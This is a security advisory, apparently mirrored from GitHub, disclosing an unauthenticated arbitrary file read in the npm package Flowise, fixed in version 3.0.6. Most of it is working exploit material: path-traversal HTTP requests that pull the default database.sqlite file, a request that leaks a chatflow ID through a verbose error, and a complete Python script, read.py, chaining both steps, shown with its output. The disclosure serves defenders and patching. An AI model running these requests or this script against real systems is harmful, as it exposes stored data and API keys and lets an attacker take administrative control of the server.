Flowise has an Arbitrary File Read (GHSA-99pg-hqvx-r4gf) · Sieve
영향 받는 패키지 생태계 패키지 수정 버전 npm flowise 3.0.6
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As this fallback path is read after the /root/.flowise/storage check, this allows an additional level of traversal up to /root/.flowise/. As a result, this allows reading of /root/.flowise/database.sqlite, which contains all database content in the default Flowise configuration.
GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1
Host: 127.0.0.1:3000
HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 06:43:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024
SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ïl
ÍS=*''���������������������������������������������������������������������������������������������������������������������������������������������;,O)�indexsqlite_autoindex_docume
...
Similarly, for /api/v1/openai-assistants-file/download:
REQUEST
POST /api/v1/openai-assistants-file/download HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 100
{"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"}
HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 08:55:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024
SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ
...
This includes all API keys used by the application (apiKey table), which can be used to gain administrative access.
As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.
Interaction with these endpoints requires knowledge of a valid chatflowId. As a UUID, this is inherently unguessable. However, the /api/v1/vector/upsert/ endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated chatflowId.
POST /api/v1/vector/upsert/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain
------WebKitFormBoundary7MA4YWxkTrZu0gW--
HTTP/1.1 500 Internal Server Error
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 240
ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U"
Date: Tue, 22 Jul 2025 08:14:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}}
In this case the UUID is revealed as 188903b1-d06d-4f93-9415-400015b87146, which can then be used to exploit the file read vulnerability.
PoC docker run --rm -p 3000:3000 flowiseai/flowise
Complete install & create a Chatflow:
<img width="575" height="299" alt="image" src="https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b" />
Save this script to read.py:
import argparse
import re
import requests
def read_file(url, file_path, proxy):
base_url = url
proxies = {'http': proxy, 'https': proxy} if proxy else None
print(f">> starting exploit against {base_url}")
if proxy:
print(f">> using proxy: {proxy}")
try:
print("[*] step 1: leaking chatflowid")
initial_headers = {}
files = {'files': ('?', 'asdf', 'text/plain')}
response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies)
chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", ""))
if len(chatflow_id_matches) < 2:
print("[-] failed to leak chatflowid.")
return
chatflow_id = chatflow_id_matches[1]
print(f"[+] got chatflowid: {chatflow_id}")
print(f"[*] step 2: reading file: {file_path}")
internal_headers = {'x-request-from': 'internal'}
params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}
response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies)
if response.status_code != 200:
print(f"[-] failed to read file (status: {response.status_code}).")
print(response.text)
return
file_content = response.text
print(f"[+] successfully read file ({len(response.content)} bytes).")
print("\n--- file content ---")
print(file_content)
print("--------------------\n")
except requests.exceptions.RequestException as e:
print(f"\n[-] an unexpected error occurred: {e}")
except Exception as e:
print(f"\n[-] an unexpected error occurred: {e}")
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Read arbitrary files")
parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)")
parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)")
parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
read_file(args.url, args.file, args.proxy)
Run the script against http://127.0.0.1:3000:
python3 read.py -u http://127.0.0.1:3000 -f database.sqlite
>> starting exploit against http://127.0.0.1:3000
[*] step 1: leaking chatflowid
[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb
[*] step 2: reading file: database.sqlite
[+] successfully read file (385024 bytes).
--- file content ---
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Impact This allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.